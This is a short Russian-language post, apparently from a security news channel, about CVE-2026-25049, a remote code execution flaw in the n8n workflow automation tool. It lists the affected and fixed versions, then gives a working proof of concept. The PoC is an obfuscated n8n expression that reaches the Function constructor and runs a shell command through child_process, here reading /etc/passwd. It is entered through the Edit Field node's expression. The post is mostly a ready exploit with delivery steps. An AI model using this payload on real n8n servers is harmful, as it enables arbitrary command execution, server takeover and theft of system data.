🔥 [10/10] CVE-2026-25049: RCE в n8n Это обход для всех предыдущих патчей. Уязвимость позволяет выполнять произвольные команды на сервере. Уязвимы версии: — <1.123.17 (исправлено в 1.123.17) — <2.5.2 (исправлено в 2.5.2) PoC 1. Создаем workflow 2. Добавляем Edit Field 3. Указываем в String (Expression) {{(() => { const { [constr&#036;{'uct'}or]: Fn } = Object; const payload = "return process.mainModule.require('child_process').execSync('cat /etc/passwd').toString();"; return Fn(payload)(); })()}} 4. Нажимаем Execute Step